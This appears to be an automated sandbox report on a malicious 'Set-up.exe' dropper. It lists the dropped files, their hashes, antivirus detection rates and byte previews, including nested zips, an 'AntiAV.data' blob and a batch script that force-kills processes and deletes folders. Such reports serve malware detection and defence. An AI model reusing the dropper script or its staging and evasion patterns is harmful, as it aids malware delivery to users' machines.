MD5:	9FB1EE0C888305AE9D740F3ED746771C
SHA1:	6416256E49C1F2B788957BEC98C79FEF6274B31E
SHA-256:	D6A731422BD0B613671FFDCC5E103BDFE1BE2E72DCDC364B4A1FC5A35FEE29DD
SHA-512:	89A6DB9B8A019B2992878075ACAAE773F266F9E5B63C5D55DB14219F5C5A568B765AB47BE246AE1088CA1AA6CB8204C4DE3FA9F6DAF763114832FC853B8B2F65
Malicious:	true
Preview:	$....../?:.........oa.q+.}.&m..S'F...9B..H0.....c....<\|.a.)'.i.. .X.!....O....Q...N2x3S4...w..}...V....,...8.H..HnJ....p..%..mY..521..=..0....N....;.............y+..}..\|/..L..E.=..`....,.Nn.1.1.......I/..@..t2E(....d..\|p.._.C...H..f.w.$..Xy......'e.1m:\..!........;.e.....D....z...3wj+.Of....w.....YM..z;:......}.A.E.;{74[81.G`....I..Ld;.~N.$A.....O.<{j.....i.f.=.....B.P...BB...L...B..!..n..............-...-...iQ..q...Q...RKy7...mS...W...8..3y............5.>z....M.fyc..j.>.....p...J"...K.......I...@Mm"....n....W<.g..W..6a/..G.i.Ub.8.dq....T........Vr.Yv`...%....Iu.J..w.s. s../...)9.....T..b....A)B(.:>84)7.7..!....6.@R..B.,,D.o.V..Q..jwS...........I4%.1.(2#mG.9.Q.......Q.........5...Y..........C..L.V.N.....A..C...Q\| .$.Z.....b...T<..O..-e....Za;3..$.....:8......6...y._..........C.cd/..O.\.G........?-.m..a3.P..X.[....o.>c....W...J..v.....l)...\...$....x..q~M....n.....~}.;...=b..C...i...-}.t.q............\..(a...[..4X.A.;.(U..5N.<.b..>.

C:\Users\user\AppData\Local\Temp\Lil

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	7.997394872132741
Encrypted:	true
SSDEEP:	1536:u/1ObcLdRr2C9TXig7D4Bi7AUqeZZAQ+dTNVx:Eg4JRrx9jbPAwZudNVx
MD5:	A6D44CDC07946516629C0B7F559ABDAF
SHA1:	0B54E19C837582B82F7F68B28ACD42BE089D3B8A
SHA-256:	1D521C9D684C89F09D15494602FD98A3BD58056226EC4EB5092B7051D2DBF019
SHA-512:	9CCD0258BAE82BCCDAD4D6C5B04A42B835C6E65B363855115352474E33668B818F741A931D03ED54FB427D81EED7E676427253ACF807F1B36184B219B2EDE823
Malicious:	true
Preview:	tc....).N~=..KD...I...=...YZ.G..g.7E.. .c..g..]...gJ...5...y...c'...#>.KG".....v..]/r.._h..w................O..Y........a\..^&E5Rp#.D..V.Rlbs..2\|.......gO.......}..;.j..wH4.i.H+.M...R.(.`;Wv..vv.!.A....Y..y.o.y._.M.v%c^..Bx...w..'.hO..7..[cy...^.(.L.B.fo.,.G.....m...i}k...b.z.+.N.t+A..!..Br1b.....M..l.:.H.&...v..;c..(..]:...E.q...........Z2V....W.%....dN..@.>..&..H.........c..l.......P.L .7...K.`......Ie.d.%...............b..n...y...X..i...c.....h... .nHHbM...k.P.....m...(...^P...U.x.....<''....c.\..#.x.-.....T..r5..h......gD.y.G~{.N8%du..QI..-..FR...Gq....rd.....$..;..p.g...9..2.S..`.{..l?...Q..N...\=..r.#y1.BI^{GV\|hB.E.'..3..d.pRzS#...`#.;.r...;=..5....>...M....Xs......br.K...'...E<....!~...}.#..:.<nFd..,.;X\......#.t..g#..t.....G......B%[..F.......8.t..yM=g}.....\.wJ...o..X\[..0..u...4e....G3.cH.>..O...F ..p....s.H...].+-..$...U.y.%...N.t#LT..4.....(.u#.4?..L..3.+MR8...k....Sd.....r.....'8.!.{.rI.(&..D..}j.C...(.KJ\D...2T.KFJ

C:\Users\user\AppData\Local\Temp\Towers

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.996992641245611
Encrypted:	true
SSDEEP:	1536:iyXiMONTU0VIIBKcjvkS25GiHT1HMHOBOUzYculvW1gdS:iKiM8huIBljcb00pskaYgdS
MD5:	607C95C6A1150323A0027B7C5950C96B
SHA1:	DCEFC4D843F40AD9874E33FAE0DB7F73A9A5E54A
SHA-256:	D4EDC7E93CAB9CAC32D656EAEA7505C38C31BE52EB8C9255B346407FE695DBE9
SHA-512:	6C99CE6F81147243D964DD09DC3917B0160898B4DA2A4E9A629319C284DFD6312337CC1E9C6897329E51C33B139380FF6EE3EB4F5D98DEB192D0608C44274D23
Malicious:	true
Preview:	,t.I..6.....'U?..o....Mc.s....g.'..9:..^....L.Sd...d.S......([....m.D..P.e....S..:.3..?...X...e.....e..3W.../..\>.a.c..qP6<....S3..8^..).O...+.@.A.E...................l]O..N.F..[..,?NO..od.f..-..K........JD...~.FR..Lk.{tq.......8..6xh..j..L....b..H$kX....O......z.e.(n.66...iA.~R..V.....l.A....o...V./'.ppz..X.\..0..B.{.B.x..UD.....N-..G(nmF8Y...R...QQ.w..V.1e.....wi..dM.m....D..?5..p._Z..9.Z.u.G.'.._.\|0$z....er7..Y.....f...Ak.c.#o.......E.\\|....[..J<..cxE,..hl.NG..)...[..O..'..o]#.\sY..6$.V...H.........K.....8(..2..8O...o..\........;y@.pK.l$59D..<f;L.d......R9S...7e..j....`..2F...7...u...9,...Lx..8Y.....@\......E.....\..2.w..Ux]....4.gU.J......(........?.......P.....n..]H.t!`B"..6}....d.R.p...T9YNL$.;.q..\n........-...zU...}.i...[.B)5..x.....\AJ."+.....GO3....}._....8....!..........@....IEc..\|j..#..0.....K..;='.=\Q......z...y.X.f...Z.-..q..@..W...w...Y:$.R......b5.L/4$?....o...H7.r..(.&..V.......x3...i9.e..<...j.....?

C:\Users\user\AppData\Local\Temp\Warren

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	7.997699958942892
Encrypted:	true
SSDEEP:	1536:dFjEs/H+AFByfVErHUC2VhyP7SMSfI2+A3sfZ170/RjnFisaDP6:njVf+Cc6rHUZzyPBR2b6Z1wRsW
MD5:	A1422490FFA8E715033C4F777BE4603F
SHA1:	7DA0EFBABA9ACF1EA60644932C0E3430E4B9A39C
SHA-256:	A422FE491F329D779DE8B717ED219BF543DD5C489E4A2CEABDD21160BD359394
SHA-512:	A5FD7387DD1B8F363EEAAD8EE92D464036534664471FB7A40ACCBB177AD5E3EC8C2E9DC048D5F0FBCB00F97DABF7D49242EFEC18E1575D2BC2582D8036B957CD
Malicious:	true
Preview:	v.aj...:6x.L..o}........)...'.M.[....a5..z15..Zq..K.....v..hn.=..%.N.....%...y.@9Ko.k....F....\|R)~(....[....$.&...$....p>..M..4V.].,..uz.......c1.\r.tM.. .....ma.>?...W...;.i....\#J.............1.........K=......fH.1.. y...rj-..e..n.q.1............fM'..p.L.3..B...9V.R....M....G4.kD.HK9...&b...p...\....Vz..&]..2\|u....P.,...J.n.Ot.....-fg.......!K_.P.Fe.LgP...4.e.D.N"...62..!1{...)...l\|k.>..V..&....{..V.....[~C...aw...T.Y@KPB..I.5.....+W.s.o.%....0.tY.O8......(.}f..)<@.e...X.I..........0%7.A.W/..^..w...0....?.)...dJU?k.r.z..)M$S.....M.T.,;......lFo..A.PU-....f.b\|.2..j..O....F..yRn.h.w..IrH.k4...l~............e7.i.21L.N.XW..g6.Q.. .#.]<..2I..h].T.H{ 9Z..............l.q...........N#....U...Z..g....z...;q......N.w.....@.z]5.o....E.?aq.;...:'.,......\|{......aJ..i....d%.......7=".V.i[gNT"u..\...,..Re........w1...@.YS..v..eN..gc....W...].D....^.O.'...1.].h4O.u..<x...B..c.al.../.>H.?y..u...>.....!.o.;...c..&c.......D.m..V'.....k..Ty....."_j..s@z...

C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3125704
Entropy (8bit):	7.990259949871784
Encrypted:	true
SSDEEP:	49152:MN5JrWK2CToOR1ewbLQZ5reodSTgYSFLDJzIAMAAAedMnMbw0gvbP/+3jxYQzbPI:MN5JrW2oo1ewbLQzegSTgNFLDRR4KMbw
MD5:	CE901A874C9D157E48F83B1BE3D32AA6
SHA1:	9BC12D5DB437C0673437E9FEAADD0027887D1C13
SHA-256:	35401B151F704F6BBBF4F8B36D886E4DC391809822181B396C02D243C0ACA7F0
SHA-512:	EA6511B4E318EB31E4DD8862CD7967906BD1705F2B1D6422B28424F0C810F9647702315B9BDCEA1FD32421E5D72B61027E9991DA6B779D6DE02B61E410EEB747
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Joe Sandbox View:	Filename: inject.exe, Detection: malicious, Browse
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@.................................X.0..............................................0...N...........u/..<..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....N...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2343406
Entropy (8bit):	5.89551469554261
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xR:R9kqGu7okoZscCnf0/Zs9k
MD5:	AEFFE98F08187C1796B0C19E28AFF08F
SHA1:	418740DFB8FA1EA685F78D7641586FCA0417BF8F
SHA-256:	6659A9416A334434BDE5035F119D84E7FFDC74C0B1364650E0A323AFB191FD87
SHA-512:	29F085F81CEF17F233103AC553199EED25C81E89CB8EB9DF4F24B32C68763DCF7498B50ABA10252496B2F19587B57885365019AE694BBE5BD6EACAD8E25AF370
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	625464
Entropy (8bit):	7.5510269559180125
Encrypted:	false
SSDEEP:	12288:dAcRtQRBRwAI/GE+g19EggvGkKj0cRgzAI/GE+g19EggvGkKj0cRgJ:rjybIeXuugoKocKUIeXuugoKocKJ
MD5:	89A069871324D35E25922F6FB881D514
SHA1:	985F31CD2E5B7B6C5AB6FF41CE33837987A06171
SHA-256:	7FAF92E0275F06214930A5EBBE11F1E98781CCD7CF4B95A0C23E5FCB013AD1AB
SHA-512:	9D8E49DE5D5947E8CC682CC70D81191B380260233F26EAB25BEB1398F745EF47EA297A4AAD6D0B30F87AC65EC5B90B5E4516AFABF57CCB519BC4FF6A002D1566
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......//.kN..kN..kN...%..aN...%...N...%..yN..9;..zN..9;..zN..9;..CN...%..bN..kN..0N..=;..jN..=;y.jN..kN..jN..=;..jN..RichkN..........................PE..L....v:a.................&...X)..............@....@................................^B....@.....................................d.....).................8.............8...............................@............@..H............................text...)%.......&.................. ..`.rdata...x...@...z.................@..@.data.....'.........................@....rsrc.........).....................@..@.reloc.............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	511531
Entropy (8bit):	7.998133089879453
Encrypted:	true
SSDEEP:	12288:J3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7L7:lFmr9DV6TJpZxXEL9rNX7
MD5:	392805D581FCA99EDCB5F947E3EBB2CC
SHA1:	49506423DE1FE1A89C50BF492E57998A590B9EE6
SHA-256:	4A4CD834312421431D41AA5A988FC2FBBCA4165961F9B023CFC2B21EFAD858ED
SHA-512:	7D191C9D592739BA54AD6D0BEEA26790B5020CEFAD5AD778FDB5695C13E848E7EFBFE43A1C9DA098DB1AE5E3BC758924746A3CAC2CE5C8AAE1371EBBBF50746A
Malicious:	true
Preview:	PK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q...u.....0:.......'...1...=A)...s6S.y.q<.[..N!.c.J.....f$.......@3..%Ic."f..X.u..<n9.v..=....a.`.n.e......u......d.....i^....XT.7._=9d.as....O3PdW.;%..,.V.

C:\Users\user\AppData\Local\Temp\main\extracted\file_10.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	512845
Entropy (8bit):	7.998150131603083
Encrypted:	true
SSDEEP:	12288:B/3FvrlOjguZKmxM1J/NPT5R82orQYR7truFC/Hd:BvFojtZ/u1JlPTLexxrD/d
MD5:	0067A8449FAD7927F7CCD78AD32DDC6C
SHA1:	53BF7574BF168C644D40E2404F2346528FB16F18
SHA-256:	CFAEEED5348C9AC2D172D31FD2CDFFB253D6BCBE44FC325D490BC368F5229989
SHA-512:	6D6D9734833DE212E92C242E08EEEE4BB6D8CEAC2EE6F2AC0BAFA30573E0EFBC8A1EF0DE071B71950D9AB3A524580BC9EEC9EB420E6AFA8A2711EF248372AF14
Malicious:	true
Preview:	PK........Rn.Y.I............file_9.zipd.Sl-l....;..S..]....m.v...m.;Hf2......\|w.b-%Yp.8..>.;.m...Z.yh.....o3............9h...?......f..,4.?....o...._.\..I..&...?...a.&.!y[gggR.......R....7...}.......9g...i.;....E.._...;.S../.....!..-.l..g-.G...e....z'{.....X..5?......O..u...G....?.@..0d..&l.FBVX.;2(P.#...$.......F..V..#.....VZ...p.....JNL...7~.d.Q&..../...+2..].a9..Oe........W..z ....lrh'G.+..$Y..........)\|......W.W.{..O...I.F.=....{$....m...F\|.<.......6n._.......U.z.H<l...6.<...S.V.......?'_........Dpw..@.....].L....j.....\|J..........u....w.l.....,_.............e-)..I.y.....VK...-\z.b..:O..b.E.=]..c.....\|.k.6`xo.[.'.B.7Z.$..B2L"....k....acN.........W.k..W......5.....f..~...<>............*T.h.u...](p..v..i...../d.....6.;.0.. ..l1....-KkJK..n..3.id..it...'...b...m....H.....]...1..%.bKO9...-..&D].[.O;....]....Bro..m...?,..(.`.....m.D..m.....v..ue......+...9yN.Cy=.U.\|.V.....sl\|.S..Go. .H.=.!?..V....),..w....wG...Q9.L.5...0..

C:\Users\user\AppData\Local\Temp\main\extracted\file_11.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	2180530
Entropy (8bit):	7.99835792425981
Encrypted:	true
SSDEEP:	49152:fujCK3D0AC/l5mwbBkDWYb1ZN4UJ9oc0/uNUrT1:faR3D0Ae5mwdkDWm1Xoe4T1
MD5:	7632984F9B26DBB8923DA2348366665B
SHA1:	C99703AD6DB21039BA169A60C106A08B2BCDB139
SHA-256:	69B1C0618D5418CE0E37171191F4AE23986B56779116ED29C3417089654FA897
SHA-512:	543750B4FD6BC31884296D8CF0BF8DAF56A90ED4223BD7B7650DC2B668DA4965718F1511459A2900AB8D975923256918415076A2F7E0FF2FAA454522097B1E95
Malicious:	true
Preview:	PK........Rn.Y.F._Cq....#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	511685
Entropy (8bit):	7.998145921569035
Encrypted:	true
SSDEEP:	12288:u3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7L7:YFmr9DV6TJpZxXEL9rNX7
MD5:	BD4D86CA5CBAE5438024F64045DB97F6
SHA1:	67BA58848842592A9E2F8DD2D1ED97FD3E7D38CB
SHA-256:	C64F47CE2527018D5D52CCFEA53103762A1D91146D09938237215AF6968DFAB3
SHA-512:	4B5DCE84CDF649CDDFA499A6F875FB00676051E650178A0A742EEA62B91CFF0055CF6B5D2C1517AC500398D531A6F4A02131ED9CCD135B3C4A5BA18D4E2DDCE7
Malicious:	true
Preview:	PK........Rn.Yr...+...+.......file_1.zipPK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q...u.....0:.......'...1...=A)...s6S.y.q<.[..N!.c.J.....f$.......@3..%Ic."f..X.u..<n9.v..=....a.`.n.e......u......d...

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	511839
Entropy (8bit):	7.998154920833029
Encrypted:	true
SSDEEP:	12288:E3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7Lj:SFmr9DV6TJpZxXEL9rNXj
MD5:	8854D4E74C1AE01EAA463330A17CF2BD
SHA1:	9BFAB26E3B7CC05E4D94DE9930FD1428395458F3
SHA-256:	DF9ADC70A263FCEBE4F6EF88404AC0ACF424F2596F3F191A2FFB752B9D4BB064
SHA-512:	8C45E9A2F2187FA94DA24835B8F318741F682962211BFDEC5E5BA912112B5717DB4E4AED6E128C985FBEA016980F071D4961549F680B9FE0AB97884FA6559A0A
Malicious:	true
Preview:	PK........Rn.Y$..[............file_2.zipPK........Rn.Yr...+...+.......file_1.zipPK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q...u.....0:.......'...1...=A)...s6S.y.q<.[..N!.c.J.....f$.......@3..%Ic."f..X

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	511993
Entropy (8bit):	7.998157069875339
Encrypted:	true
SSDEEP:	12288:V3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7Lk:pFmr9DV6TJpZxXEL9rNXk
MD5:	FEA1BC14AFA3E37F1E15EB337E72B12C
SHA1:	148F4DEBB7F4E31EE7C1C04A11C45B0083043156
SHA-256:	6C1795FC843B77D29BD5F103DFC100C8928B7551F01FD8135F21C078B8533A7F
SHA-512:	07BCF6FC543D31B6902CA156C3F84A34FE421A8056DDC6533CD32D67B1C3D10A554556C2C28EA656EC4540EDD3B82FE4C5F677115F7C1BBFE4BE7E0CC57CA1A3
Malicious:	true
